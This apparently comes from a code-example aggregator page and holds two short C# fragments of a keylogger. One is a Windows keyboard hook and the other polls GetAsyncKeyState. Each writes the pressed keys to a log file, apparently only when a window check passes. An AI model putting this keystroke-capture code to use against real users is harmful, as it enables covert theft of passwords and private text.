コード例 #1
0
        private static IntPtr hookProc(int nCode, IntPtr wParam, IntPtr lParam)
        {
            //обработка нажатия
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                if (wtc == null || (wtc != null && wtc.Check()))
                {
                    int vkCode = Marshal.ReadInt32(lParam);

                    KeysConverter keysConverter = new KeysConverter();
                    Log.ToFile(keysConverter.ConvertToString(vkCode) + " ");
                }
                return((IntPtr)0);
            }
            else
            {
                return(CallNextHookEx(hhook, nCode, (int)wParam, lParam));
            }
        }
コード例 #2
0
 public void loop()
 {
     while (Enabled)
     {
         try
         {
             if (wtc != null && wtc.Check())
             {
                 for (Int32 i = 0; i < 255; i++)
                 {
                     int state = GetAsyncKeyState(i);
                     if (state == 1 || state == -32767)
                     {
                         Log.ToFile($"{(Keys)i} ");
                     }
                 }
             }
         }
         catch (Exception ex)
         {
         }
         Thread.Sleep(100);
     }
 }